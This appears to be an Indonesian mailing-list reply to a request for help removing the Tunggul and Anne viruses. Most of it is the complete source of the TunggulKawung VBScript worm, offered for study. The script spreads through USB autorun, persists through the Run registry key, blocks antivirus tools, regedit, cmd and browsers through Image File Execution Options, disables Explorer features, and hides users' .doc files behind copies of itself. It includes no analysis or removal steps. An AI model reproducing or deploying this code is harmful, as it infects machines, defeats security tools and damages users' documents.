Berikut adalah script virus Tunggul.. mungkin bisa memahami cara kerjanya. 
Silahkan dipelajari : 

' 982
'--------------------------------------------------------------------
' Contoh Virus Visual Basic Script
' Nama Virus : TunggulKawung.VBS-1
'--------------------------------------------------------------------
on error resume next
Dim winpath, sispath, tempath, FlashDisk, fso, wsshell, nask, autorn, filekor
Dim Drives, Drive, cekdrive, tekvir, text, Buatfile, namafile, filetext
Dim DesPath1, DesPath2, Scut1, Scut2
Set fso = CreateObject("Scripting.FileSystemObject")
Set wsshell = CreateObject("WScript.Shell")
Set filetext = fso.OpenTextFile(WScript.ScriptFullName,1)
namafile = "Tunggul.vbs"
autorn = "[autorun]"&vbcrlf&"shellexecute=wscript.exe " & namafile
Set nask = fso.getfile(Wscript.ScriptFullname)
cekdrive = nask.drive.drivetype

Set winpath = fso.GetSpecialFolder(0)
Set sispath = fso.GetSpecialFolder(1)
Set tempath = fso.GetSpecialFolder(2)
Set text = nask.openastextstream(1, -2)
Randomize Timer
Aka=Int(rnd*1000)
Akb=Int(rnd*30)
If Akb=0 Then Akb=10
Tamb=String(Akb,"-")
tekavir = text.readline
tekvir="' "&Aka&Tamb&vbCrLf
Do While Not text.atendofstream
  tekvir = tekvir&text.readline
  tekvir = tekvir&vbCrLf
Loop
Shortcut()
sudah=0

Do
 Set filekor = fso.getfile(winpath & "\" & namafile)
  filekor.Attributes = 32
 Set filekor = fso.createtextfile(winpath & "\" & namafile, 2, True)
  filekor.write tekvir
  filekor.Close
 Set filekor = fso.getfile(winpath & "\" & namafile)
  filekor.Attributes = 39

 For Each FlashDisk In fso.drives
   If (FlashDisk.drivetype = 1 Or FlashDisk.drivetype = 2) And FlashDisk.Path 
<> "A:" Then
     Set filekor = fso.getfile(FlashDisk.Path & "\" & namafile)
      filekor.Attributes = 32
     Set filekor = fso.createtextfile(FlashDisk.Path & "\" & namafile, 2, True)
      filekor.write tekvir
      filekor.Close
     Set filekor = fso.getfile(FlashDisk.Path & "\" & namafile)
      filekor.Attributes = 39 
     Set filekor = fso.getfile(FlashDisk.Path & "\autorun.inf")
      filekor.Attributes = 32
     Set filekor = fso.createtextfile(FlashDisk.Path & "\autorun.inf", 2, True)
      filekor.write autorn
      filekor.Close
     Set filekor = fso.getfile(FlashDisk.Path & "\autorun.inf")
      filekor.Attributes = 39
   End If
 Next

 rdw="REG_DWORD"
 Smwc = "\Software\Microsoft\Windows\CurrentVersion\"
 Hsmwci = "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File 
Execution Options\"
 wsshell.regwrite "HKLM"&Smwc&"Run\WinSystem", "wscript.exe " & winpath & "\" & 
namafile
 wsshell.regwrite Hsmwci&"cmd.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"msconfig.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"regedit.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"PCMAV.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"PCMAV-CLN.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"PCMAV-RTP.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"PCMAV-SE.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"VB6.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"autorun.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"ansav.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"viremoval.exeDebugger"," "
 wsshell.regwrite Hsmwci&"avscan.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"avgnt.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"iexplore.exe\Debugger"," "
 wsshell.regwrite Hsmwci&"firefox.exe\Debugger"," "
 wsshell.regwrite "HKLM"&Smwc&"Run\WinSystem", "wscript.exe " & winpath & "\" & 
namafile
 wsshell.RegWrite "HKCU"&Smwc&"Policies\Explorer\NoFind", "1", rdw
 wsshell.RegWrite "HKCU"&Smwc&"Policies\Explorer\NoFolderOptions", "1", rdw
 wsshell.RegWrite "HKCU"&Smwc&"Policies\Explorer\NoRun", "1", rdw
 wsshell.RegWrite "HKCU"&Smwc&"Policies\System\DisableRegistryTools", "0", rdw
 wsshell.RegWrite "HKCU"&Smwc&"Policies\System\DisableTaskMgr", "0", rdw
 wsshell.regwrite "HKCR\vbsfile\DefaultIcon", "shell32.dll,2"
   If Minute(Now)=1 and sudah<>1 Then 
     Tularifiledoc()
     sudah=1
   End If
 If cekdrive <> 1 Then Wscript.sleep 100000
Loop While cekdrive <> 1

Sub Tularifiledoc()
  Set Drives=fso.drives
  For Each Drive In Drives
    If Drive<>"A:" Then
       If Drive.IsReady Then
        Cari Drive & "\" 
       End If
    End If
  Next
End sub

Sub Shortcut()
   DesPath1 = wsshell.SpecialFolders("Desktop")
   DesPath2 = wsshell.SpecialFolders("StartUp")
   Set Scut1 = wsshell.CreateShortcut(DesPath1 & "\Harry Potter.lnk")
   Set Scut2 = wsshell.CreateShortcut(DesPath2 & "\Bogor Kota Hujan.lnk")
   Set Fileke1 = fso.createtextfile(sispath& "\iexplore.vbs", 2, True) 
   Set Fileke2 = fso.createtextfile(tempath& "\Bogor.vbs", 2, True)
    Fileke1.Write tekvir
    Fileke1.Close()
   Scut1.TargetPath = wsshell.ExpandEnvironmentStrings(sispath&"\iexplore.vbs")
    Scut1.Save
    Fileke2.Write tekvir
    Fileke2.Close()
   Scut2.TargetPath = wsshell.ExpandEnvironmentStrings(tempath&"\Bogor.vbs")
    Scut2.Save
End Sub

Function Cari(Path)
  On Error Resume Next
  Dim Folder, Subfolder, SubFolders, File, Files, filekor
  Set Folder=fso.GetFolder(Path)
  Set Files=Folder.Files
  For Each File In Files
   If fso.GetExtensionName(File.Path)="doc" Then
      namfa=fso.GetBaseName(File.Path)
      Set filekor = fso.GetFile(File.Path)
      filekor.Attributes = 39
      Set Buatfile=fso.CreateTextFile(File.ParentFolder & "\" & namfa & ".vbs")
      Buatfile.Write tekvir
      Buatfile.Close()
   End If
  Next
  Set SubFolders=Folder.SubFolders
  For Each Subfolder In Subfolders
    Cari Subfolder.Path 
  Next
End Function


yusfen fendi <[EMAIL PROTECTED]> wrote:                                  Para 
Rekan Semua,
    
   Mohon bantuan ilangin Virus Anne dan Tunggul,
    
   atas bantuanya terimakasih,
    
   efendi
    
 
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